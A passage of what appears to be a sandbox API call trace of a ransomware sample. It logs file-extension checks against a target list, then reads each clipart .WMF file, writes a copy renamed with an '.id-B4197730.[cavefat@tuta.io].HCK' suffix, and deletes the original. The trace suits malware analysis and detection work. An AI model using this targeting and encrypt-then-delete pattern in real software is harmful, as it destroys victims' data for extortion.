lpString2=".WMF") returned -1 [0165.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.699] lstrlenW (lpString=".zip") returned 4 [0165.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.699] lstrlenW (lpString=".rar") returned 4 [0165.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.699] lstrlenW (lpString=".bz2") returned 4 [0165.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.699] lstrlenW (lpString=".7z") returned 3 [0165.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.699] lstrlenW (lpString=".dbf") returned 4 [0165.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.699] lstrlenW (lpString=".1cd") returned 4 [0165.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.699] lstrlenW (lpString=".jpg") returned 4 [0165.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.699] lstrlenW (lpString=".doc") returned 4 [0165.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.699] lstrlenW (lpString=".docx") returned 5 [0165.699] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0165.699] lstrlenW (lpString=".pdf") returned 4 [0165.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.699] lstrlenW (lpString=".xls") returned 4 [0165.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.700] lstrlenW (lpString=".xlsx") returned 5 [0165.700] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0165.700] lstrlenW (lpString=".ppt") returned 4 [0165.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.700] lstrlenW (lpString=".zip") returned 4 [0165.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.700] lstrlenW (lpString=".rar") returned 4 [0165.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.700] lstrlenW (lpString=".bz2") returned 4 [0165.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.700] lstrlenW (lpString=".7z") returned 3 [0165.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.700] lstrlenW (lpString=".dbf") returned 4 [0165.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.700] lstrlenW (lpString=".1cd") returned 4 [0165.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.700] lstrlenW (lpString=".jpg") returned 4 [0165.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.700] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.700] lstrlenW (lpString="J0105244.WMF") returned 12 [0165.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0165.706] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11228) returned 1 [0165.706] CloseHandle (hObject=0x388) returned 1 [0165.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0165.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.718] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.718] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0165.723] GetLastError () returned 0x0 [0165.723] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0165.727] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0165.728] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.728] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.728] SetEndOfFile (hFile=0x360) returned 1 [0165.732] CloseHandle (hObject=0x360) returned 1 [0165.733] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.733] SetEndOfFile (hFile=0x308) returned 1 [0165.738] CloseHandle (hObject=0x308) returned 1 [0165.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0165.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.741] lstrlenW (lpString=".doc") returned 4 [0165.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.741] lstrlenW (lpString=".docx") returned 5 [0165.741] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.741] lstrlenW (lpString=".pdf") returned 4 [0165.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.741] lstrlenW (lpString=".xls") returned 4 [0165.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.741] lstrlenW (lpString=".xlsx") returned 5 [0165.741] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.741] lstrlenW (lpString=".ppt") returned 4 [0165.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.742] lstrlenW (lpString=".zip") returned 4 [0165.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.742] lstrlenW (lpString=".rar") returned 4 [0165.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.742] lstrlenW (lpString=".bz2") returned 4 [0165.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.742] lstrlenW (lpString=".7z") returned 3 [0165.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.742] lstrlenW (lpString=".dbf") returned 4 [0165.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.742] lstrlenW (lpString=".1cd") returned 4 [0165.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.742] lstrlenW (lpString=".jpg") returned 4 [0165.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.742] lstrlenW (lpString=".doc") returned 4 [0165.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.742] lstrlenW (lpString=".docx") returned 5 [0165.742] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.742] lstrlenW (lpString=".pdf") returned 4 [0165.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.742] lstrlenW (lpString=".xls") returned 4 [0165.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.742] lstrlenW (lpString=".xlsx") returned 5 [0165.742] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.742] lstrlenW (lpString=".ppt") returned 4 [0165.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.742] lstrlenW (lpString=".zip") returned 4 [0165.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.742] lstrlenW (lpString=".rar") returned 4 [0165.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.742] lstrlenW (lpString=".bz2") returned 4 [0165.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.743] lstrlenW (lpString=".7z") returned 3 [0165.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.743] lstrlenW (lpString=".dbf") returned 4 [0165.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.743] lstrlenW (lpString=".1cd") returned 4 [0165.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0165.743] lstrlenW (lpString=".jpg") returned 4 [0165.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.743] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.743] lstrlenW (lpString="J0105272.WMF") returned 12 [0165.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.749] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=17728) returned 1 [0165.749] CloseHandle (hObject=0x308) returned 1 [0165.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220 [0165.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.768] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.768] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0165.772] GetLastError () returned 0x0 [0165.772] ReadFile (in: hFile=0x390, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4540, lpOverlapped=0x0) returned 1 [0165.774] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4550, lpOverlapped=0x0) returned 1 [0165.775] ReadFile (in: hFile=0x390, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.775] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.775] SetEndOfFile (hFile=0x330) returned 1 [0165.776] CloseHandle (hObject=0x330) returned 1 [0165.787] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.787] SetEndOfFile (hFile=0x390) returned 1 [0165.790] CloseHandle (hObject=0x390) returned 1 [0165.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0165.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.797] lstrlenW (lpString=".doc") returned 4 [0165.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.797] lstrlenW (lpString=".docx") returned 5 [0165.797] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0165.797] lstrlenW (lpString=".pdf") returned 4 [0165.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.797] lstrlenW (lpString=".xls") returned 4 [0165.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.797] lstrlenW (lpString=".xlsx") returned 5 [0165.797] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0165.797] lstrlenW (lpString=".ppt") returned 4 [0165.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.797] lstrlenW (lpString=".zip") returned 4 [0165.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.797] lstrlenW (lpString=".rar") returned 4 [0165.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.797] lstrlenW (lpString=".bz2") returned 4 [0165.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.797] lstrlenW (lpString=".7z") returned 3 [0165.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.797] lstrlenW (lpString=".dbf") returned 4 [0165.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.797] lstrlenW (lpString=".1cd") returned 4 [0165.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.797] lstrlenW (lpString=".jpg") returned 4 [0165.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.797] lstrlenW (lpString=".doc") returned 4 [0165.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.797] lstrlenW (lpString=".docx") returned 5 [0165.797] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0165.797] lstrlenW (lpString=".pdf") returned 4 [0165.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.798] lstrlenW (lpString=".xls") returned 4 [0165.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.798] lstrlenW (lpString=".xlsx") returned 5 [0165.798] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0165.798] lstrlenW (lpString=".ppt") returned 4 [0165.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.798] lstrlenW (lpString=".zip") returned 4 [0165.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.798] lstrlenW (lpString=".rar") returned 4 [0165.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.798] lstrlenW (lpString=".bz2") returned 4 [0165.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.798] lstrlenW (lpString=".7z") returned 3 [0165.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.798] lstrlenW (lpString=".dbf") returned 4 [0165.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.798] lstrlenW (lpString=".1cd") returned 4 [0165.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0165.798] lstrlenW (lpString=".jpg") returned 4 [0165.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.798] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.798] lstrlenW (lpString="J0105286.WMF") returned 12 [0165.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.805] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6568) returned 1 [0165.805] CloseHandle (hObject=0x370) returned 1 [0165.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220 [0165.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.818] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.818] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0166.046] GetLastError () returned 0x0 [0166.046] ReadFile (in: hFile=0x390, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x19a8, lpOverlapped=0x0) returned 1 [0166.055] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x19b0, lpOverlapped=0x0) returned 1 [0166.056] ReadFile (in: hFile=0x390, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.056] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0166.056] SetEndOfFile (hFile=0x308) returned 1 [0166.092] CloseHandle (hObject=0x308) returned 1 [0166.093] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.093] SetEndOfFile (hFile=0x390) returned 1 [0166.107] CloseHandle (hObject=0x390) returned 1 [0166.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0166.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.114] lstrlenW (lpString=".doc") returned 4 [0166.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.114] lstrlenW (lpString=".docx") returned 5 [0166.114] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.114] lstrlenW (lpString=".pdf") returned 4 [0166.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.114] lstrlenW (lpString=".xls") returned 4 [0166.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.114] lstrlenW (lpString=".xlsx") returned 5 [0166.114] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.114] lstrlenW (lpString=".ppt") returned 4 [0166.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.114] lstrlenW (lpString=".zip") returned 4 [0166.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.114] lstrlenW (lpString=".rar") returned 4 [0166.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.114] lstrlenW (lpString=".bz2") returned 4 [0166.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.114] lstrlenW 